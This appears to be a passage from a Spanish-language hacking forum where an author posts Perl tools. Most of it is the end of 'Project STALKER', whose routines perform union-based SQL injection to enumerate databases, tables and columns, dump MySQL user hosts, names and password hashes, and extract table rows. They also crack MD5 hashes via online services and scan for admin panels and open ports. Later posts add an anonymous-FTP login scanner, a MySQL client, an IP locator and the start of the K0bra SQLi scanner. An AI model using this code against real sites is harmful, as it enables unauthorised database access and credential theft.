    elsif ($rta =~/details/) {
    &details($_[0],$_[1],$save);
    &reload;
    }
    else {
    &reload;
    }
    }



    sub schematables {
    $real = "1";
    my ($page,$bypass,$save) = @_;
    savefile($save.".txt","\n");
    print "\n";
    my $page1 = $page;
    ($pass1,$pass2) = &bypass($_[1]);
    savefile($save.".txt","[DB] : default");
    print "\n[+] Searching tables with schema\n\n";
    $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
    if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $resto = $1;
    $total = $resto - 17;
    print "[+] Tables Length :  $total\n\n";
    savefile($save.".txt","[+] Searching tables with schema\n");
    savefile($save.".txt","[+] Tables Length :  $total\n");
    my $limit = $1;
    for my $limit(17..$limit) {
    $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
    if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $table = $1;
    chomp $table;
    print "[Table $real Found : $table ]\n";
    savefile($save.".txt","[Table $real Found : $table ]");
    $real++;
    }}
    print "\n";
    } else {
    print "\n[-] information_schema = ERROR\n";
    }
    }

    sub reload {
    &menu_options($_[0]);
    }


    sub schemacolumns {
    my ($page,$bypass,$save,$table) = @_;
    my $page3 = $page;
    my $page4 = $page;
    savefile($save.".txt","\n");
    print "\n";
    ($pass1,$pass2) = &bypass($bypass);
    print "\n[DB] : default\n";
    savefile($save.".txt","[DB] : default");
    savefile($save.".txt","[Table] : $table\n");
    $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
    if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    print "\n[Columns Length : $1 ]\n\n";
    savefile($save.".txt","[Columns Length : $1 ]\n");
    my $si = $1;
    chomp $si;
    $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $real = "1";
    for my $limit2(0..$si) {
    $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
    if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    print "[Column $real] : $1\n";
    savefile($save.".txt","[Column $real] : $1");
    $real++;
    }}
    print "\n";
    } else {
    print "\n[-] information_schema = ERROR\n";
    }}

    sub schemadb {
    my ($page,$bypass,$save) = @_;
    my $page1 = $page;
    savefile($save.".txt","\n");
    print "\n\n[+] Searching DBS\n\n";
    ($pass1,$pass2) = &bypass($bypass);
    $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
    if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $limita = $1;
    print "[+] Databases Length : $limita\n\n";
    savefile($save.".txt","[+] Databases Length : $limita\n");
    $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $real = "1";
    for my $limit(0..$limita) {
    $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
    if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $control = $1;
    if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
    print "[Database $real Found] $control\n";
    savefile($save.".txt","[Database $real Found] : $control");
    $real++;
    }
    }
    }
    print "\n";
    } else {
    print "[-] information_schema = ERROR\n";
    }
    }

    sub schematablesdb {
    my $page = $_[0];
    my $db = $_[2];
    my $page1 = $page;
    savefile($_[3].".txt","\n");
    print "\n\n[+] Searching tables with DB $db\n\n";
    ($pass1,$pass2) = &bypass($_[1]);
    savefile($_[3].".txt","[DB] : $db");
    $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
    #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
    if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
    print "[+] Tables Length :  $1\n\n";
    savefile($_[3].".txt","[+] Tables Length :  $1\n");
    my $limit = $1;
    $real = "1";
    for my $lim(0..$limit) {
    $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
    #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
    if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $table = $1;
    chomp $table;
    savefile($_[3].".txt","[Table $real Found : $table ]");
    print "[Table $real Found : $table ]\n";
    $real++;
    }}
    print "\n";
    } else {
    print "\n[-] information_schema = ERROR\n";
    }}

    sub schemacolumnsdb {
    my ($page,$bypass,$db,$table,$save) = @_;
    my $page3 = $page;
    my $page4 = $page;
    print "\n\n[+] Searching columns in table $table with DB $db\n\n";
    savefile($save.".txt","\n");
    ($pass1,$pass2) = &bypass($_[1]);
    savefile($save.".txt","\n[DB] : $db");
    savefile($save.".txt","[Table] : $table");
    $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
    if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    print "\n[Columns length : $1 ]\n\n";
    savefile($save.".txt","[Columns length : $1 ]\n");
    my $si = $1;
    chomp $si;
    $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $real = "1";
    for my $limit2(0..$si) {
    $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
    if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    print "[Column $real] : $1\n";
    savefile($save.".txt","[Column $real] : $1");
    $real++;
    }
    }
    } else {
    print "\n[-] information_schema = ERROR\n";
    }
    print "\n";
    }

    sub mysqluser {
    my ($page,$bypass,$save) = @_;
    my $cop = $page;
    my $cop1 = $page;
    savefile($save.".txt","\n");
    print "\n\n[+] Finding mysql.users\n";
    ($pass1,$pass2) = &bypass($bypass);
    $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
    $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
    if ($code=~/RATSXPDOWN/ig){
    $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
    if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    print "\n[+] Users Found : $1\n\n";
    savefile($save.".txt","\n[+] Users mysql Found : $1\n");
    for my $limit(0..$1) {
    $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
    $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
    if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
    print "[Host] : $1 [User] : $2 [Password] : $3\n";
    savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
    } else {
    print "\n";
    &reload;
    }
    }
    }
    } else {
    print "\n[-] mysql.user = ERROR\n\n";
    }
    }

    sub dump {
    savefile($_[5].".txt","\n");
    my $page = $_[0];
    ($pass1,$pass2) = &bypass($_[4]);
    if ($page=~/(.*)hackman(.*)/){
    my $start = $1;
    my $end = $2;
    print "\n\n[+] Extracting values...\n\n";
    $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
    $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
    $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
    if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
    $tota = $1;
    print "[+] Table : $_[3]\n";
    print "[+] Length of the rows : $tota\n\n";
    print "[$_[1]] [$_[2]]\n\n";
    savefile($_[5].".txt","[Table] : $_[3]");
    savefile($_[5].".txt","[+] Length of the rows: $tota\n");
    savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
    for my $limit(0..$tota) {
    chomp $limit;
    $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
    if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
    savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
    print "[$_[1]] : $1   [$_[2]] : $2\n";
    } else {
    print "\n\n[+] Extracting Finish\n\n";
    &reload;
    }
    }
    } else {
    print "[-] Not Found any DATA\n\n";
    }}}

    sub bypass {
    if ($_[0] eq "/*") { return ("/**/","/*"); }
    elsif ($_[0] eq "%20") { return ("%20","%00"); }
    else {return ("+","--");}}

    sub ascii {
    return join ',',unpack "U*",$_[0];
    }

    sub base {
    $re = encode_base64($_[0]);
    chomp $re;
    return $re;
    }

    sub base_de {
    $re = decode_base64($_[0]);
    chomp $re;
    return $re;
    }


    sub download {
    if ($nave->mirror($_[0],$_[1])) {
    if (-f $_[1]) {
    return true;
    }}}


    sub hex_en {
    my $string = $_[0];
    $hex = '0x';
    for (split //,$string) {
    $hex .= sprintf "%x", ord;
    }
    return $hex;
    }

    sub hex_de {
    my $text = shift;
    $text =~ s/^0x//;
    $encode = join q[], map { chr hex } $text =~ /../g;
    return $encode;
    }

    sub ascii_de {
    my $text = shift;
    $text = join q[], map { chr } split q[,],$text;
    return $text;
    }

    sub getprocess {

    my %procesos;

    my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
    my $dos = $uno->ConnectServer("","root\\cimv2");

    foreach my $pro (in $dos->InstancesOf("Win32_Process")){
    $procesos{$pro->{Caption}} = $pro->{ProcessId};
    }
    return %procesos;
    }

    sub killprocess {

    my ($numb,$pid) = @_;

    if (Win32::Process::KillProcess($pid,$numb)) {
    return true;
    } else {
    return false;
    }
    }

    sub getip {
    my $get = gethostbyname($_[0]);
    return inet_ntoa($get);
    }

    sub crackit {

    my $secret = $_[0];

    print "[+] Cracking $_[0]\n\n";

    my %hash = (
       
    'http://passcracking.com/' => {
    'tipo'  => 'post',
    'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
    'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
    },   
    'http://md5.hashcracking.com/search.php?md5=' =>  {
    'tipo' => 'get',
    'regex' => 'Cleartext of $_[0] is (.*)',
    },
    'http://www.bigtrapeze.com/md5/' =>  {
    'tipo' => 'post',
    'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
    'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
    },
    'http://opencrack.hashkiller.com/' =>  {
    'tipo' => 'post',
    'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
    'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
    },
    'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {
    'tipo' => 'post',
    'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
    'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
    },
    'http://victorov.su/md5/?md5e=&md5d=' =>  {
    'tipo' => 'get',
    'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
    }
    );

    for my $data(keys %hash) {

    if ($hash{$data}{tipo} eq "get") {
    $code = toma($data.$_[0]);
    if ($code=~/$hash{$data}{regex}/ig) {
    print "\n[+] Decoded : ".$1."\n\n";
    saveyes("logs/pass-found.txt",$secret.":".$1);
    }
    } else {
    $code = tomar($data,$hash{$data}{variables});
    if ($code=~/$hash{$data}{regex}/ig) {
    saveyes("logs/pass-found.txt",$secret.":".$1);
    }
    }
    }
    print "\n[+] Finish\n";
    }

    sub ftp {

    my ($ftp,$user,$pass) = @_;

    if (my $socket = Net::FTP->new($ftp)) {
    if ($socket->login($user,$pass)) {

    print "\n[+] Enter of the server FTP\n\n";

    menu:

    print "\n\nftp>";
    chomp (my $cmd = <stdin>);
    print "\n\n";

    if ($cmd=~/help/) {
    print q(

    help : show information
    cd : change directory <dir>
    dir : list a directory
    mdkdir : create a directory <dir>
    rmdir : delete a directory <dir>
    pwd : directory 
    del : delete a file <file>
    rename : change name of the a file <file1> <file2>
    size : size of the a file <file>
    put : upload a file <file>
    get : download a file <file>
    cdup : change dir <dir>
    exit : ??


    );
    }

    if ($cmd=~/dir/ig) {
    if (my @files = $socket->dir()) {
    for(@files) {
    print "[+] ".$_."\n";
    }
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/pwd/ig) {
    print "[+] Path : ".$socket->pwd()."\n";
    }

    if ($cmd=~/cd (.*)/ig) {
    if ($socket->cwd($1)) {
    print "[+] Directory changed\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/cdup/ig) {
    if (my $dir = $socket->cdup()) {
    print "\n\n[+] Directory changed\n\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/del (.*)/ig) {
    if ($socket->delete($1)) {
    print "[+] File deleted\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/rename (.*) (.*)/ig) {
    if ($socket->rename($1,$2)) {
    print "[+] File Updated\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/mkdir (.*)/ig) {
    if ($socket->mkdir($1)) {
    print "\n\n[+] Directory created\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/rmdir (.*)/ig) {
    if ($socket->rmdir($1)) {
    print "\n\n[+] Directory deleted\n";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/exit/ig) {
    next;
    }

    if ($cmd=~/get (.*) (.*)/ig) {
    print "\n\n[+] Downloading file\n\n";
    if ($socket->get($1,$2)) {
    print "[+] Download completed";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/put (.*) (.*)/ig) {
    print "\n\n[+] Uploading file\n\n";
    if ($socket->put($1,$2)) {
    print "[+] Upload completed";
    } else {
    print "\n\n[-] Error\n\n";
    }
    }

    if ($cmd=~/quit/) {
    next;
    }

    goto menu;

    } else {
    print "\n[-] Failed the login\n\n";
    }

    } else {
    print "\n\n[-] Error\n\n";
    }



    }


    sub scanpaths {

    my $urla = $_[0];

    print "\n[+] Find paths in $urla\n\n\n";
    my @urls = repes(get_links(toma($urla)));
    for $url(@urls) {
    my $web = $url;
    my ($scheme, $auth, $path, $query, $frag)  = uri_split($url);
    if ($_[0] =~/$auth/ or $auth eq "") {
    if ($path=~/(.*)\/(.*)\.(.*)$/) {
    my $borrar = $2.".".$3;
    if ($web=~/(.*)$borrar/) {
    my $co = $1;
    unless ($co=~/$auth/) {
    $co = $urla.$co;
    }
    $code = toma($co);
    if ($code=~/Index Of/ig) {
    print "[Link] : ".$co."\n";
    saveyes("logs/paths-found.txt",$co);
    }}}}}
    print "\n\n[+] Finish\n";
    }


    sub scanport {

    my %ports = ("21"=>"ftp",
    "22"=>"ssh",
    "25"=>"smtp",
    "80"=>"http",
    "110"=>"pop3",
    "3306"=>"mysql"
    );


    print "[+] Scanning $_[0]\n\n\n";

    for my $port(keys %ports) {

    if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
    print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
    }
    }
    print "\n\n[+] Finish\n";
    }


    sub scanpanel {
    print "[+] Scanning $_[0]\n\n\n";
    for $path(@panels) {
    $code = tomax($_[0]."/".$path);
    if ($code->is_success) {
    print "[Link] : ".$_[0]."/".$path."\n";
    saveyes("logs/panel-logs.txt",$_[0]."/".$path);
    }
    }
    print "\n\n[+] Finish\n";
    }

    sub google {
    my($a,$b) = @_;
    for ($pages=10;$pages<=$b;$pages=$pages+10) {
    $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
    my @links = get_links($code);
    for my $l(@links) {
    if ($l =~/webcache.googleusercontent.com/) {
    push(@url,$l);
    }
    }
    }

    for(@url) {
    if ($_ =~/cache:(.*?):(.*?)\+/) {
    push(@founds,$2);
    }
    }

    my @founds = repes(@founds);

    return @founds;
    }


    sub sql {

    my ($pass1,$pass2) = ("+","--");
    my $page = shift;
    $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
    if ($code1=~/The used SELECT statements have a different number of columns/ig) {
    print "[+] SQLI : $page\a\n";
    saveyes("logs/sql-logs.txt",$page);
    }}

    sub get_links {

    my $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
    return @links;

    sub agarrar {
    my ($a,%b) = @_;
    push(@links,values %b);
    }

    }

    sub repes {
    foreach $test(@_) {
    push @limpio,$test unless $repe{$test}++;
    }
    return @limpio;
    }

    sub head {
    cprint "\x0311"; #13
    print "\n\n-- == Project STALKER == --\n\n";
    cprint "\x030";
    }

    sub copyright {
    cprint "\x0311"; #13
    print"\n\n(C) Doddy Hackman 2011\n\n";
    cprint "\x030";
    }

    sub toma {
    return $nave->get($_[0])->content;
    }

    sub tomax {
    return $nave->get($_[0]);
    }

    sub tomar {
    my ($web,$var) = @_;
    return $nave->post($web,[%{$var}])->content;
    }


    sub conectar {

    my $sockex = new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $_[1],
    Proto => "tcp",Timeout  => 5);

    print $sockex $_[2]."\r\n";
    $sockex->read($re,5000);
    $sockex->close;
    return $re."\r\n";
    }


    sub enter {

    my ($host,$user,$pass) = @_;

    print "[+] Connecting to the server\n";

    $info = "dbi:mysql::".$host.":3306";
    if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {

    print "\n[+] Enter in the database";

    while(1) {
    print "\n\n\n[+] Query : ";
    chomp(my $ac = <stdin>);

    if ($ac eq "exit") {
    $enter->disconnect;
    print "\n\n[+] Closing connection\n\n";
    last;
    }

    $re = $enter->prepare($ac);
    $re->execute();
    my $total = $re->rows();

    my @columnas = @{$re->{NAME}};

    if ($total eq "-1") {
    print "\n\n[-] Query Error\n";
    next;
    } else {
    print "\n\n[+] Result of the query\n";
    if ($total eq 0) {
    print "\n\n[+] Not rows returned\n\n";
    } else {
    print "\n\n[+] Rows returned : ".$total."\n\n\n";
    for(@columnas) {
    print $_."\t\t";
    }
    print "\n\n";
    while (@row = $re->fetchrow_array) {
    for(@row) {
    print $_."\t\t";
    }
    print "\n";
    }}}}
    } else {
    print "\n[-] Error connecting\n";
    }}

    sub saveyes {
    open (SAVE,">>".$_[0]);
    print SAVE $_[1]."\n";
    close SAVE;
    }

    sub savefile {
    open (SAVE,">>logs/webs/".$_[0]);
    print SAVE $_[1]."\n";
    close SAVE;
    }

    sub coleccionar {
    opendir DIR,$_[0];
    my @archivos = readdir DIR;
    close DIR;
    return @archivos;
    }

    sub helpme {

    cprint "\x0310"; #13
    print qq(

    Commands :


    getinfo
    getip <host>
    getlink <page>
    getprocess
    killprocess <name process> <pid process>
    conec <host> <port> <command> 
    allow <host>
    paths <page>
    encodehex <text>
    decodehex <text>
    encodeascii <text>
    decodeascii <text>
    encodebase <text>
    decodebase <text>
    scanport <host>
    panel <page>
    getpass <hash>
    kobra <page>
    ftp <host> <user> <pass>
    mysql <host> <user> <pass>
    navegator
    scangoogle
    help
    exit

    );
    cprint "\x030";
    }

    #
    #  The End ?
    #


    Eso es todo
#429
Perl / [Perl] FTP Scan
Agosto 19, 2011, 11:30:16 PM
Bueno este es un simple script para scannear paginas en busca de un servidor ftp con el usuario anonymous

El codigo es el siguiente

Código: perl

#!usr/bin/perl
#FTP Scan (C) Doddy Hackman 2011
#Check login anonymous

use Net::FTP;
use URI::Split qw(uri_split);

head();
if($ARGV[0]) {
start($ARGV[0]);
} else {
sintax();
}
copyright();

sub start {

unless (-f $_[0]) {
print "\n\n[-] File Not Found\n\n";
copyright();
}

print "\n[+] Opening file\n\n";

open(FILE,$_[0]);
my @webs = <FILE>;
close FILE;

print "[+] Webs found : ".int(@webs)."\n\n\n";

for my $web(@webs) {
my $host = comer($web);
if ($ftp = Net::FTP->new($host, Debug => 0)) {
if ($ftp->login("anonymous","[email protected]")) {
print "[+] Anonymous Found : ".$host."\n";
}}
}
print "\n\n[+] Scan Finished\n";
}

sub comer {
my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
return $auth;
}

sub sintax {
print "\n[+] sintax : $0 <file>\n";
}

sub head {
print q(




@@@@@ @@@@@  @@@@@      @@@    @@@@    @    @    @
@       @    @    @    @   @  @    @   @    @@   @
@       @    @    @    @      @       @ @   @@   @
@       @    @    @    @      @       @ @   @ @  @
@@@@    @    @@@@@      @@@   @      @   @  @ @  @
@       @    @             @  @      @   @  @  @ @
@       @    @             @  @      @@@@@  @   @@
@       @    @         @   @  @    @@     @ @   @@
@       @    @          @@@    @@@@ @     @ @    @




);
}

sub copyright {
print "\n\n== --(C) Doddy Hackman 2011 -- ==\n\n";
exit(1);
}

sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}

# ¿ The End ?


#430
Perl / [Perl Tk] Mysql Manager
Agosto 19, 2011, 11:30:07 PM
Esta es la nueva version grafica de este simple cliente mysql

Una imagen seria




Código: perl

#!usr/bin/perl
#Mysql Manager (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd

use Tk;
use Tk::ROText;
use Tk::PNG;
use DBI;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = MainWindow->new(-background=>"black",-foreground=>"orange");

$nave->title("Mysql Manager");
$nave->geometry("210x160+20+20");
$nave->resizable(0,0);

$nave->Label(-text=>"Host : ",-font=>"Impact1",-background=>"black",-foreground=>"orange")->place(-x=>10,-y=>10);
my $host = $nave->Entry(-width=>22,-text=>"localhost",-background=>"black",-foreground=>"orange")->place(-x=>60,-y=>13);

$nave->Label(-text=>"User : ",-font=>"Impact1",-background=>"black",-foreground=>"orange")->place(-x=>10,-y=>40);
my $user = $nave->Entry(-width=>22,-text=>"root",-background=>"black",-foreground=>"orange")->place(-x=>60,-y=>43);

$nave->Label(-text=>"Pass : ",-font=>"Impact1",-background=>"black",-foreground=>"orange")->place(-x=>10,-y=>70);
my $pass = $nave->Entry(-width=>22,-background=>"black",-foreground=>"orange")->place(-x=>60,-y=>73);

$nave->Button(-text=>"Connect",-width=>13,-command=>\&now,-background=>"black",-foreground=>"orange",-activebackground=>"orange")->place(-x=>60,-y=>120);

MainLoop;

sub now {

my $host = $host->get;
my $user = $user->get;
my $pass = $pass->get;

$info = "dbi:mysql::".$host.":3306";

if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {

$nave->destroy;

my $man = MainWindow->new(-background=>"black",-foreground=>"orange");
$man->title("Mysql Manager (C) Doddy Hackman 2011");
$man->geometry("650x540+20+20");
$man->resizable(0,0);
my $f = $man->Photo(-file=>"foto.png",-format=>"PNG");
$man->Label(-image=>$f,-borderwidth=>0)->place(-x=>20,-y=>20);
$man->Label(-text=>"Query : ",-font=>"Impact1",-background=>"black",-foreground=>"orange")->place(-x=>73,-y=>230);
my $ac = $man->Entry(-width=>60,-background=>"black",-foreground=>"orange")->place(-x=>135,-y=>233);
$man->Button(-width=>8,-text=>"Execute",-command=>\&tes,-background=>"black",-foreground=>"orange",-activebackground=>"orange")->place(-x=>510,-y=>233);
my $out = $man->ROText(-width=>74,-height=>15,-background=>"black",-foreground=>"orange")->place(-x=>60,-y=>293);

sub tes {
my $ac = $ac->get;
$re = $enter->prepare($ac);
$re->execute();
my $total = $re->rows();

my @columnas = @{$re->{NAME}};

if ($total eq "-1") {
$out->insert("end","\n[-] Query Error\n");
next;
} else {
$out->insert("end","\n[+] Result of the query\n");
if ($total eq 0) {
$out->insert("end","\n[+] Not rows returned\n\n");
} else {
$out->insert("end","\n[+] Rows returned : ".$total."\n\n");
for(@columnas) {
$out->insert("end",$_."\t");
}
$out->insert("end","\n\n");
while (@row = $re->fetchrow_array) {
for(@row) {
$out->insert("end",$_."\t");
}
$out->insert("end","\n");
}}}}
} else {
msg("Mysql Manager","Error in the connection");
}
}


sub msg {

my $color_fondo = "black"; #white
my $color_letra = "orange"; #black

my ($titulo,$contenido) = @_;

my $mensaje = MainWindow->new(-background=>$color_fondo,-foreground=>$color_letra);
$mensaje->title($titulo);
$mensaje->geometry("200x50+20+20");
$mensaje->resizable(0,0);
$mensaje->Label(-text=>$contenido,-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_letra)->place(-y=>15,-x=>20);

MainLoop;

}

# ¿ The End ?


Para bajar el script con el logo lo pueden hacer de aca

Código: text

http://doddyhackman.webcindario.com/descargas/mysqlman.rar
#431
Perl / [Perl] LocateIP
Agosto 19, 2011, 11:29:14 PM
Un simple script para conocer el origen de una ip mediante el servicio de una web

La web que uso para el script es You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Código: perl

#!usr/bin/perl
#LocateIP (C) Doddy Hackman 2011

use LWP::UserAgent;
use IO::Socket;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");


head();
if($ARGV[0]) {
start($ARGV[0]);
} else {
sintax();
}
copyright();

sub start {
print "\n[+] Target :  $_[0]\n";
infocon(get_ip($_[0]));

}

sub sintax {
print "\n[+] sintax : $0 <web>\n";
}

sub head {
print q(



@      @@@@    @@@@    @    @@@@@  @@@@@     @  @@@@@
@     @    @  @    @   @      @    @         @  @    @
@     @    @  @       @ @     @    @         @  @    @
@     @    @  @       @ @     @    @         @  @    @
@     @    @  @      @   @    @    @@@@      @  @@@@@
@     @    @  @      @   @    @    @         @  @     
@     @    @  @      @@@@@    @    @         @  @     
@     @    @  @    @@     @   @    @         @  @     
@@@@@  @@@@    @@@@ @     @   @    @@@@@     @  @     



);
}

sub copyright {
print "\n\n== --(C) Doddy Hackman 2011 -- ==\n\n";
exit(1);
}

sub get_ip {
my $get = gethostbyname($_[0]);
return inet_ntoa($get);
}

sub infocon {
my $target = shift;
print "\n\n[+] Getting info\n\n\n";
$total = "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
$re = toma($total);

if ($re=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/) {
print "[+] City : $2\n";
} else {
print "[-] Not Found\n";
copyright();
}
if ($re=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/) {
print "[+] Country : $2\n";
}
if ($re=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/) {
print "[+] State or Region : $2\n";
}
}

sub toma {
return $nave->get($_[0])->content;
}

# ¿ The End ?
#432
Perl / [Perl Tk] K0bra 1.2
Agosto 19, 2011, 11:28:44 PM
Esta es la nueva version de mi scanner SQLi en el cual le mejore el diseño y arregle algunas fallas en el script

Una imagen seria




Código: perl

#!usr/bin/perl
#K0bra 1.2 (C) Doddy Hackman 2011

use Tk;
use Tk::ROText;
use Tk::PNG;
use LWP::UserAgent;
use URI::Split qw(uri_split);

my $bypass = "--";
my $save = "";

installer();

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

my $logo = MainWindow->new(-background=>"black",-foreground=>"green");
$logo->title("K0bra 1.2 (C) Doddy Hackman 2011");
$logo->geometry("500x800+20+20");
$logo->resizable(0,0);

my $tomaboludo = $logo->Photo(-file => "mirar.png");
